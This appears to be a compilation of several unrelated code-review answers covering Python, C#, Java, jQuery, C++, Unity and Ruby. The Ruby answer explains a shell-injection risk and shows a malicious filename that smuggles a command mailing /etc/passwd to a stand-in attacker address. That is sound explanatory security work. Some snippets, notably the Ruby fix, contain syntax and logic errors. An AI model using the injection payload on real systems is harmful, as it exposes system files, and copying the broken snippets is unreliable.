>>> f"{0x20AC:019_b}".replace('_', ' ')
'0010 0000 1010 1100'

A function using this technique could look like:
def str_bin_in_4digits(hex_string: str) -> str:
    """
    Turn a hex string into a binary string.
    In the output string, binary digits are space separated in groups of 4.

    >>> str_bin_in_4digits('20AC')
    '0010 0000 1010 1100'
    """

    value = int(hex_string, 16)
    width = len(hex_string) * 5 - 1
    bin_string = f"{value:0{width}_b}"
    return bin_string.replace('_', ' ')

if __name__ == '__main__':
    import doctest
    doctest.testmod(verbose=True)

Depending on your definition of elegant, you can one-line this:
def str_bin_in_4digits(hex_string: str) -> str:
    """
    Turn a hex string into a binary string.
    In the output string, binary digits are space separated in groups of 4.

    >>> str_bin_in_4digits('20AC')
    '0010 0000 1010 1100'
    """

    return f"{int(hex_string,16):0{len(hex_string)*5-1}_b}".replace('_', ' ')


Method to Retrieve Data from a MySQL Database

In my review I assume you cannot use EF or alike...

I don't see any particular really bad practices here but there are a few minor things that make me uncomfortable when I look at your code. As the important things are correct (everything is disposed and you use parameters to prevent sql injection) there is not much left to review. But hey! this a good news ;-)

The my-prefix ;-) It doesn't hurt but it doesn't look professional either. You know everything there is yours so there's no need to emphasize it with my.

Try to name things by what they really are instead of giving them misleading names. If you do sqlCon.CreateCommand() then name the variable command or cmd not a query. It isn't one. Your sql is a query and it would be fine to name it like so.

Returning an ObservableCollection is a questionable practice. I suggest to use a List instead and update the real observable collection with the new data.

The listOfContacts. It's a collection and for collections we usually just use a plural noun. In this case just contants would be enough.

The reader[0] & magic numbers. You should use constants here like reader[Column.ID]. It looks much better now, doesn't it?

class Column
{
    public const int ID = 0;
    ...
}

PersonName = myReader[8].ToString().Trim() + " " + myReader[9].ToString().Trim(),

PersonName or FullName should be a readonly property of the ContactModel and it should have two normal properties for the first and last names. Your repository shouldn't care and know how to build a person name. It should just pass the data to the ContactModel.


How could this Java CLABE control digit calculation be enhanced

There are certainly a few things that can be improved.

Mainly the amount of intermediate (array) variables is just unnecessary. They use up memory, which means things get big and slow. The adding up can be performed within the loop.

Computers don't like branching (if statements), so if you can remove branches from a loop and replace them by a calculation (such as % 3) then that's always a boon, especially if the result is more readable as well.

The integer count is not well named. If it would be used in my code below, it would be named weightIndex or something similar.

I think the method is better named calculateCLABEControlDigit but I'm a bit lazy and won't rename it here. "Generate" is a bit much for such a calculation in my opinion.

public class CLABE {
    private static final String INCOMPLETE_CLABE = "03218000011835971";
    private static final String COMPLETE_CLABE = "032180000118359719";
    private static final int[] WEIGHT_FACTORS = {3, 7, 1};

    public static char generateCLABEControlDigit(final String incompleteClabe) {
        int sum = 0;
        for (int i = 0; i < incompleteClabe.length(); i++) {
            final int digitValue = Character.digit(incompleteClabe.charAt(i), 10);
            final int weightFactor = WEIGHT_FACTORS[i % 3];
            sum = (sum + (digitValue * weightFactor) % 10) % 10;
        }

        final int controlDigitValue =  (10 - (sum % 10) % 10);
        return Character.forDigit(controlDigitValue, 10);
    }

    public static void main(String[] args) {
        String clabe = INCOMPLETE_CLABE + generateCLABEControlDigitLessMod(INCOMPLETE_CLABE);
        if (clabe.equals(COMPLETE_CLABE)) {
            System.out.println("Yay!");
        }
    }
}

Now just to spook you a bit, some modular operations can be removed from the loop. For multiplication and addition, the final digit will remain correct after all. That is, as long as the sum is below Integer.MAX_VALUE. Of course you'd need a very long CLABE before you can add up to that (with 9 x 7 = 63 being the highest value that may be added per digit).

The double modulus is required for the final subtraction, as the sum can be 0 (an all zero incomplete CLABE) and because the Java mod operator is terrible when it comes to negative left-operand values. Actually, it's not a modulus operator at all. It is called the rest operator, as it may return negative values even if the modulus is positive. That's OK though because it is not in the loop.

    public static char generateCLABEControlDigitLessMod(final String incompleteClabe) {
        int sum = 0;
        for (int i = 0; i < incompleteClabe.length(); i++) {
            final int digitValue = Character.digit(incompleteClabe.charAt(i), 10);
            final int weightFactor = WEIGHT_FACTORS[i % 3];
            sum += digitValue * weightFactor;
        }

        final int controlDigitValue =  (10 - (sum % 10) % 10);
        return Character.forDigit(controlDigitValue, 10);
    }

Of course this speedup doesn't make any difference for this particular method. However, adding or removing modular operations is an interesting speedup trick to use in cases where it does matter, so I thought it was interesting enough to show you.

The testing with the vectors from Wikipedia (or preferably a banking standard) should be done by a Unit test.

Besides that, I'd probably make sure that the input is consisting just of digits before running any code on it by using a guard statement such as:

if (!incompleteClabe.matches("\\d*")) {
    throw new IllegalArgumentException("Not a valid CLABE sans control digit");
}

or even:

if (!incompleteClabe.matches("\\d{17}")) {
    throw new IllegalArgumentException("Not a valid CLABE sans control digit");
}

The CLABE class as specified should be made final and should not be instantiated as it only contains static methods. That is performed by adding a private, no argument constructor to it.

Finally, I might also create a validateCLABEControlDigit(final String fullClabe): boolean method that uses the other method. I'll leave the implementation up to you...


Hide / Show panels depending of value of a dropdown

The only "efficiency" improvement I see is caching the result of the this.value == "derive" check to avoid evaluating the string comparison twice. The effect of this is close to nothing,
on the other hand it's good to reduce the number of duplicated literals.

".commentPanel" and ".derivationPanel" are also duplicated literals,
so it would be good to eliminate those too.

Lastly, I would recommend some minor style improvements:

Don't put a space between ( "change"
Put a space after the comma in "select.actions",function
Put a space between ){ in function(){, everywhere

Putting it together:

$("#formTabs").on("change", "select.actions", function() {

    var parentContainer = $(this).closest("fieldset");
    var commentPanel = parentContainer.find(".commentPanel");
    var derivationPanel = parentContainer.find(".derivationPanel");
    var isDerive = this.value == "derive";

    if (this.value == "reject" || isDerive) {
        commentPanel.show();
    } else {
        // other 3 options where the panel should not show up.
        commentPanel.hide();
    }

    // Just for the derive option, a derivation panel must be shown.
    if (isDerive) {
        derivationPanel.show();
    } else {
        derivationPanel.hide();
    }
});

Note that by extracting the commentPanel, derivationPanel, isDerive variables you don't lose any efficiency at all, as all the right-hand sides would be evaluated in the code no matter what. This rewritten version is better, because of the string literals now appear only once, which eliminates typos, and if you need to change something, you can do it at a single place instead of two as in the original.


Project Euler #15: counting paths through a 20 × 20 grid

#include <cstdio>

If your goal is to write C++, you're really off to a bad start using the C standard I/O library.

const unsigned short n = 20;

The modern way to do compile time constants is with constexpr.

But I don't understand why you chose to use unsigned short for all your indexing calculations. Any operations you try to do on it will automatically promote it to unsigned int. You're not really gaining anything.

for (unsigned short i = 2; i <= n; i++)

Once again, once you've bought into unsigned short, you keep using it everywhere. But aside from the assignment, every single operation in this statement is promoting all your unsigned shorts to unsigned ints. Even the comparison. You might as well have just used unsigned from the start to save yourself a lot of typing:

constexpr auto n = 20u; // unsigned int

for (auto i = 2u; i <= n; ++i)

And so on.

If you want to be technically correct, indexes should be std::size_t. But unsigned works well enough if you know you're not going any higher than 20. unsigned short is useless except for storage, because any operations you do on it get promoted.

printf("%llu", 2 * p[0][1]);

First, you're missing the std:: here.

But more importantly, you should be using C++ I/O:

std::cout << (2 * p[0][1]);

Other than that, the most important element you're missing here would be comments, I'd say.


Flip Sprite using the SpriteRenderer component

If you need people to review your code you have to give a complete bunch of working code.
Here, we can only make assumptions about how what you show interoperate with what you don't show.

Your movementDirection..x and movementDirection..y can only be -1, 0, 1. Correct?
So, why using floats instead of ints ? Or even better, an enum, per example:

enum Movement
{
    Backward = -1,
    None = 0,
    Forward = 1
};

You only need flipping sprite if movements are negatives (for each axis). That's right?

Why just don't test for backwarding movement and set flipX to false otherwise (same for Y).

void Update()
{
    flipX = (movementDirection.x == Movement.Backward);
    flipY = (movementDirection.y == Movement.Backward);

    spriteRenderer.flipX = flipX;
    spriteRenderer.flipY = flipY;
}

Edit:
That's in case of neutral fixed states (Movement.None never flipped).
If when no movement you want to keep the last flipped states you still want two statement by axis.

void Update()
{
    if  (movementDirection.x != Movement.None)
        flipX = (movementDirection.x == Movement.Backward);
    if  (movementDirection.y != Movement.None)
        flipY = (movementDirection.y == Movement.Backward);

    spriteRenderer.flipX = flipX;
    spriteRenderer.flipY = flipY;
}

Edit 2:

For completeness, if you really want to minimize statements, you can use Convert, but i dont think it will improve performances :

void Update()
{
    if  (movementDirection.x != Movement.None)
        flipX = Convert.ToBoolean(movementDirection.x - 1);
    if  (movementDirection.y != Movement.None)
        flipY = Convert.ToBoolean(movementDirection.y - 1);

    spriteRenderer.flipX = flipX;
    spriteRenderer.flipY = flipY;
}


Avoid passing variable from class to class

I need to comment on an aspect of the code that you did not ask about, which is the way you invoke git as an external command:

def revisions_count(file)
  `git log --follow --format=oneline #{file}`.count("\n")
end

That filename interpolation is dangerous.  You might get a "benign" failure if, for example, the filename contains a space.  In the worst case, the filename might contain a shell metacharacter, such as a semicolon, which could lead to the execution of arbitrary code.

  Here's an example of it being exploited on a Unix system.  At the shell prompt, create the malicious file:

  touch '; mail badguys@example.com < `printf "\057etc\057passwd"`'

  (I've used printf to work around the restriction that Unix filenames can contain any character except / and NUL.)

  Then, run the following Ruby code:

revisions_count(*Dir.glob('*badguys*'))

Backticks are a handy technique for throwaway code, but aren't really suitable for production-quality code.  Your Git class should have one common codepath for executing git securely.

class Git
  class GitError < Exception ; end

  # Executes git with the given command-line arguments.
  # If a block is given, then the block is called with git's output as an IO object.
  # Raises Git::GitError if the command did not exit with a successful status.
  # Otherwise, returns the result of the block (if there is a block) or
  # the Process::Status object (if no block is given).
  def self.git(*args)
    IO::popen(['git', *args], 'w+') do |pipe|
      begin
        return block_given? ? (yield pipe) : $?
      ensure
        begin
          pipe.read  # Drain the pipe to avoid SIGPIPE
        end
        pipe.close unless pipe.closed?
        raise GitError.new unless $?.success?
      end
    end
  end

  def revisions_count(file)
    git('log', '--follow', '--format=oneline', file) do
     |pipe| pipe.to_a.length
    do
  end
end

If you need compatibility with Ruby 1.8, whose IO::popen does not take an array…

  def self.git(*args)
    IO::popen('-', 'w+') do |pipe|
      if pipe.nil?
        # Parent
        Kernel.exec('git', *args)
      else
        # Child
        begin
          return block_given? ? (yield pipe) : $?
        ensure
          begin
            pipe.read  # Drain the pipe to avoid SIGPIPE
          end
          pipe.close unless pipe.closed?
          raise GitError.new unless $?.success?
        end
      end
    end
  end